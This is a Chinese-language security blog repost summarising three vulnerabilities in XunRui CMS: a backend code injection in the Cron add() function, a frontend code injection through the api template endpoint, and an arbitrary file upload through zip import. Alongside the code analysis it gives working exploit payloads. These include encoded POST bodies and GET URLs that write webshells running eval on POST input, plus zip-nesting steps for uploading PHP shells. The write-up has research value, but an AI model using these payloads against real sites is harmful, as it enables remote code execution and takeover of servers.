首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货|某CMS漏洞总结

干货|某CMS漏洞总结

作者头像
亿人安全
发布2022-06-22 15:20:37
3.7K0
发布2022-06-22 15:20:37
举报
文章被收录于专栏:红蓝对抗红蓝对抗

1.漏洞的顺序按版本号排,从低版本到高版本

2.关于迅睿CMS的版本切换,可以通过以下方式,后面每个漏洞不再赘述:

  • 1.安装并配置好php与web中间件,注意该cms的低版本需要php的低版本
  • 2.clone该cms的官方开源地址https://gitee.com/dayrui/xunruicms
  • 3.通过搜索commit信息里的版本号,回退到指定的版本 在PhpStorm里,右键指定的commit版本,选择"Reset Current Branch to Here"
图片
图片

选择"Hard",点击"Reset"

图片
图片
  • 4.访问,安装,登陆后台 后台地址:/admin.php
图片
图片

1.迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)

这个是我挖的

触发条件

两个条件:

1.迅睿CMS 版本为v4.3.3到v4.5.1

2.登录后台,且为管理员或具有"应用"->"任务队列"的管理权限

漏洞描述

Admin控制器文件夹下Cron.php控制器的add()函数对于用户的输入没有进行专门的过滤,致使攻击者在具备管理员权限或具有"应用"->"任务队列"的管理权限时可以对WRITEPATH.'config/cron.php'文件写入任意内容,同时该文件有多处被包含且可以被利用的点,正常情况下具有上述的触发条件即可稳定触发该漏洞

环境搭建

1.安装并配置好php与web中间件,注意该cms的低版本需要php的低版本

2.clone该cms的官方开源地址https://gitee.com/dayrui/xunruicms

3.通过搜索commit信息里的版本号,回退到指定的版本

在PhpStorm里,右键指定的commit版本,选择"Reset Current Branch to Here"

图片
图片

选择"Hard",点击"Reset"

图片
图片

4.访问,安装,登陆后台

后台地址:/admin.php

图片
图片

漏洞原理

在版本v4.3.3到v4.5.0下

1.该cms在具备上述权限的情况下,可以通过http://host:port/Admin.php?c=Cron&m=add调用Admin控制器文件夹下Cron.php控制器的add()函数

图片
图片

2.add()函数的代码:

// 任务类型
public function add() {

   $json = '';
   if (is_file(WRITEPATH.'config/cron.php')) {
       require WRITEPATH.'config/cron.php';
  }

   $data = json_decode($json, true);

   if (IS_AJAX_POST) {

       $post = \Phpcmf\Service::L('input')->post('data', true);

       file_put_contents(WRITEPATH.'config/cron.php',
           '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

       \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

       $this->_json(1, dr_lang('操作成功'));
  }

   \Phpcmf\Service::V()->assign([
       'data' => $data,
  ]);
   \Phpcmf\Service::V()->display('cron_add.html');
}
add()函数的分析
if (is_file(WRITEPATH.'config/cron.php')) {
   require WRITEPATH.'config/cron.php';
}

add()函数首先会在WRITEPATH.'config/cron.php'文件存在时包含该文件,WRITEPATH可在网站根目录的index.php里配置,默认情况下为网站根目录下的cache/

此处还未生成该文件:

图片
图片
$json = '';
$data = json_decode($json, true);

然后add()函数通过json_decode($json, true)函数给$data赋值Null

if (IS_AJAX_POST){}

然后进入一个if分支语句,当IS_AJAX_POST时,则执行相关的写入文件的代码,否则则跳过写入文件,显示Cron的添加页面,随即结束add()函数,IS_AJAX_POST定义为当收到post请求且post的内容不为空时即返回TRUE,否则返回FALSE

$post = \Phpcmf\Service::L('input')->post('data', true);

if语句中,首先\Phpcmf\Service::L('input')->post('data', true)该代码通过调用Input.php文件里定义的Input类的post()函数,在接收到post请求且存在key为data时进行xss清洗然后返回,否则直接返回false,然后赋值给$post,xss清洗的代码比较长,我就不贴了,此处的xss清洗可以轻易的绕过,从而达到写入我们想要的任意内容

file_put_contents(WRITEPATH.'config/cron.php',
           '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

if语句中,接收完post请求,即将接收到的内容通过json编码后写入WRITEPATH.'config/cron.php'文件,可控的写入点位于字符串$json的赋值中,且在两个'的包裹中,此处是漏洞产生的主要原因,未对用户的输入做足够的判断或清洗即写入相应的文件

在/Admin.php?c=Cron&m=add页面不添加内容直接点击保存时生成的cron.php:

图片
图片
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));

if语句的最后,写入日志并显示操作结果,随即显示cron添加界面,add()函数结束

绕过json编码和xss清洗以及WRITEPATH.'config/cron.php'文件中'的包裹

通过前文的分析,我们可以发现,add()函数对用户的输入基本没有特殊的防范,只要绕过xss清洗和json编码以及WRITEPATH.'config/cron.php'文件中'的包裹即可写入我们想要的任意内容

以下是我的一个思路:把会被检测到的字符或字符组合,通过各种编码进行绕过

比如<会被检测到,那就把<编码成base64或html,然后通过php内的函数再解码

下面是我的一个方法,在WRITEPATH.'config/cron.php'文件中写入了当运行WRITEPATH.'config/cron.php'文件时在网站根目录写一个名为webshell.php,内容为<?php eval(@$_POST["password"]);?>的文件的php语句

注意下述操作需要先获取csrf_test_name,获取方法:

1.访问http://host:port/Admin.php?c=Cron&m=add

2.抓包当点击"保存"时发送的post包

3.post的内容里的csrf_test_name即可一直用作一段时间内的csrf_test_name

图片
图片

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D

经过url解码后为:

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

绕过json编码和xss清洗后,写入WRITEPATH.'config/cron.php'文件中的内容为:

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';
图片
图片
图片
图片

此post内容中的关键处为

[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

绕过json编码和xss清洗后,此处的内容变为:

[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

包含写入的WRITEPATH.'config/cron.php'文件

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

图片
图片

版本v4.5.1

add()函数的代码:

// 任务类型
public function add() {

   $json = '';
   if (is_file(WRITEPATH.'config/cron.php')) {
       require WRITEPATH.'config/cron.php';
  }
   $data = json_decode($json, true);

   if (IS_AJAX_POST) {

       $post = \Phpcmf\Service::L('input')->post('data');
       if ($post && is_array($post)) {
           foreach ($post as $key => $t) {
               if (!$t || !$t['name']) {
                   unset($post[$key]);
              }
               $post[$key]['name'] = dr_safe_filename($t['name']);
               $post[$key]['code'] = dr_safe_filename($t['code']);
          }
      } else {
           $post = [];
      }

       file_put_contents(WRITEPATH.'config/cron.php',
           '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

       \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

       $this->_json(1, dr_lang('操作成功'));
  }

   \Phpcmf\Service::V()->assign([
       'data' => $data,
  ]);
   \Phpcmf\Service::V()->display('cron_add.html');
}

版本v4.5.1相较之前的版本,在获取post的内容时,修改了如下的代码:

$post = \Phpcmf\Service::L('input')->post('data',true);

改为

$post = \Phpcmf\Service::L('input')->post('data');

post()函数的第二个参数为是否进行xss清洗,因为post()函数第二个参数的默认值为true,所以这处改动理论上不造成任何影响

同时,在获取post的内容后,进行WRITEPATH.'config/cron.php'文件的写入前,增加了如下的代码:

if ($post && is_array($post)) {
   foreach ($post as $key => $t) {
       if (!$t || !$t['name']) {
           unset($post[$key]);
      }
       $post[$key]['name'] = dr_safe_filename($t['name']);
       $post[$key]['code'] = dr_safe_filename($t['code']);
  }
} else {
   $post = [];
}

上述代码先判断post的内容是否存在且为数组,不符合则将post的内容置为空数组,满足则遍历post的内容,如果post的内容里某个键值对的value不存在或某个键值对的value的'name'key的value不存在,则销毁该键值对,然后将每个键值对的value的'name'key和'code'key通过dr_safe_filename()函数清洗,以下为dr_safe_filename()函数的代码:

/**
* 安全过滤文件及目录名称函数
*/
function dr_safe_filename($string) {
   return str_replace(
      ['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
       '',
      (string)$string
  );
}
绕过json编码,xss清洗,dr_safe_filename()函数的过滤和WRITEPATH.'config/cron.php'文件中'的包裹

此处我们先不尝试绕过dr_safe_filename()函数,而是尝试另一个极其简单的方法

通过对xss清洗函数的审计和版本v4.5.1add()函数新增加的代码的审计,可以发现对于数组的key没有任何过滤,包括多维数组的每一维度的key,所以此处可以通过修改post的内容中的key来写入我们想要的任意内容

以下是我的一个思路:把要写入的文件或要执行的代码,进行各种编码,然后通过php的函数进行解码

比如把<?="";phpinfo();?>编码成base64或html,然后通过php内的函数解码

以下是我的一种方法,整个漏洞利用过程中,除了上述所述的关于add()函数中增加的对键值对的value的过滤,其他流程相较于之前的版本没有任何变化:

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1

经过url解码后为:

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,写入WRITEPATH.'config/cron.php'文件中的内容为:

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';
图片
图片
图片
图片

此post内容中的关键处为

":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,此处的内容变为:

\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

包含写入的WRITEPATH.'config/cron.php'文件

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

图片
图片

2.迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞

这个是别的师傅挖的,我第一次见到是在先知社区,详情见https://xz.aliyun.com/t/10002

是同站的文章,我就不转过来了,如果想知道漏洞原理可以去看一下,下面就贴一下我的一个利用方式

一个利用方式

写webshell文件:

写入的文件默认是在网站根目录下

经过测试,如果写入的内容包含<?,会被url转义,但是先写<再写?就不会被转义

写入php标记为<?='';?>的php文件:

1.先写<:

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
图片
图片
图片
图片

2.写剩余的语句:

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?='';file_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND
图片
图片
图片
图片

写入php标记为<?php ?>的php文件

1.先写<:

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
图片
图片
图片
图片

2.写剩余的语句:

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?php%0dfile_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND
图片
图片
图片
图片

写完之后,访问webshell2.php,会在同目录下生成webshell.php文件,webshell.php即为webshell

图片
图片

执行无参函数

如果想执行无参函数,例如phpinfo();,将url中的param0参数设为-1即可:

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
图片
图片

返回的内容不在正常的html标记里,所以没有在前端打印出来,可以在网页源文件里找到:

图片
图片

3.迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞

这个是别的师傅挖的,我第一次见到是在这个站https://www.0daying.com/post-71.html

触发条件

两个条件:

1.迅睿CMS 版本为v4.5.4到v4.5.6(目前最新版)

2.登录后台,且为管理员或具有"应用"->"联动菜单"的管理权限

漏洞描述

后台"应用"->"联动菜单"->"导入"处可上传zip文件,且该处没有对用户上传的zip压缩文件做相应的过滤,导致用户可以上传任意文件

漏洞利用

版本v4.5.4

将要上传的文件压缩为zip格式,然后登陆后台,在具备相关权限的情况下,在"应用"->"联动菜单"->"导入"处直接上传该zip文件,同时上传时必须要抓包,响应包中会返回上传的文件的物理路径

图片
图片
图片
图片
图片
图片
图片
图片

响应包中返回的物理路径通常为*/cache/temp/*.zip,而通过该漏洞上传的zip文件在上传成功后会自动解压,自动解压的过程中会自动在zip文件的同目录下创建一个名为压缩包去掉后缀名的文件名的目录,再将压缩包内的文件解压到此目录,因此,通常情况下如果上传一个名为webshell.zip,且压缩包内有一个名为webshell.php的文件的压缩包,那么,通过该漏洞上传zip文件之后,压缩包内的webshell.php文件的物理路径为*/cache/temp/webshell/webshell.php,通过url访问为http://domain:post/cache/temp/webshell/webshell.php

下面截图的路径和上面说的路径不一致应该是版本问题,该CMS官网发布的v4.5.4版本上传后的路径是上面说的,通过该CMS的官方代码库回退的版本可能是下面截图的这种*/cache/temp/linkage-import-file-1-1/webshell.php,总之要看响应包内的路径,把响应包内最后的.zip换成/webshell.php即可

图片
图片

版本v4.5.5和版本v4.5.6(目前最新版)

相比版本v4.5.4,这两个版本增加了对压缩包内文件的检测,但是此处我们先不尝试绕过相应的检测,而是尝试另一个更为简单的方法

这两个版本未对压缩包内的文件夹进行递归检测,因此只要把恶意文件放在文件夹内再压缩然后上传即可

图片
图片
图片
图片
图片
图片
图片
图片

相比版本v4.5.4,在上传该zip压缩文件时依旧可以通过抓包获取文件的物理路径,同时因为增加了一层文件夹,相应的解压之后的压缩包内的文件的物理路径变为*/cache/temp/linkage/webshell/webshell/webshell.php,url变为http://domain:post/cache/temp/linkage/webshell/webshell/webshell.php

下面截图的路径和上面说的路径不一致应该是版本问题,该CMS官网发布的v4.5.6版本上传后的路径是上面说的,通过该CMS的官方代码库回退的版本可能是下面截图的这种*/cache/temp/linkage/linkage-import-file-1-1/webshell/webshell.php,总之要看响应包内的路径,把响应包内最后的.zip换成/webshell/webshell.php即可

图片
图片
图片
图片

觉得文章不错的师傅,可以三联一波!

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)
    • 触发条件
      • 漏洞描述
        • 环境搭建
          • 漏洞原理
            • 在版本v4.3.3到v4.5.0下
            • 版本v4.5.1
        • 2.迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞
          • 一个利用方式
            • 执行无参函数
            • 3.迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞
              • 触发条件
                • 漏洞描述
                  • 漏洞利用
                    • 版本v4.5.4
                    • 版本v4.5.5和版本v4.5.6(目前最新版)
                相关产品与服务
                网站渗透测试
                网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档